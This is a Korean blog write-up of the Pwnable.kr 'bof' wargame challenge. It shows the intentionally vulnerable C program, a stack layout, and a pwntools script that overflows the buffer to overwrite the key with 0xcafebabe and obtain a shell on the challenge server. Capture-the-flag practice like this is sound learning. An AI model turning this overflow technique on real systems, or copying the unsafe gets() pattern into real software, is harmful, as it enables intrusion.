rosieblue
article thumbnail
Published 2023. 6. 3. 21:14
[Pwnable.kr] bof Linux Exploitation/Wargame
728x90

문제 코드

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}

int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

 

익스플로잇

overflowme부분을 bof를 일으켜 key 부분을 0xcafebabe로 바꿔주면 된다.
 

카나리 우회해야 함

func에 카나리도 존재하므로 이를 우회해줘야한다. -> 앗 보니까 할 필요 없다. 왜냐하면 그냥 바로 키 같으면 system함수 실행해버림! 리턴 어드레스도 그냥 아무값으로 덮어도된다. 
 

 
스택 구조
overflowme (ebp-0x2c) - 32byte
canary (ebp-0xc) - 4byte
dummy - 8byte
return addr (ebp-0x4) - 4byte
key (ebp+0x8) - 4byte
 
 
따라서 페이로드는 b'A'*0x34+p32(0xcafebabe) 이다
 

from pwn import *

r=remote("pwnable.kr",9000)
payload=b'A'*0x34+p32(0xcafebabe)
r.sendline(payload)
r.interactive()

 
흠근데 궁금한건 sendlineafter("overflow me : ",~~~) 이거는 무한 로딩뜬다 왜그러지

'Linux Exploitation > Wargame' 카테고리의 다른 글

[Pwnable.kr] col  (0) 2023.06.03
[Pwnable.kr] fd  (0) 2023.06.03
[ROP 시리즈 (4)] 드림핵(Dreamhack) - rop  (0) 2023.04.21
[드림핵(Dreamhack)] ssp_001  (0) 2023.04.14
[드림핵(Dreamhack)] basic_exploitation_000  (0) 2023.04.10
profile

rosieblue

@Rosieblue

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!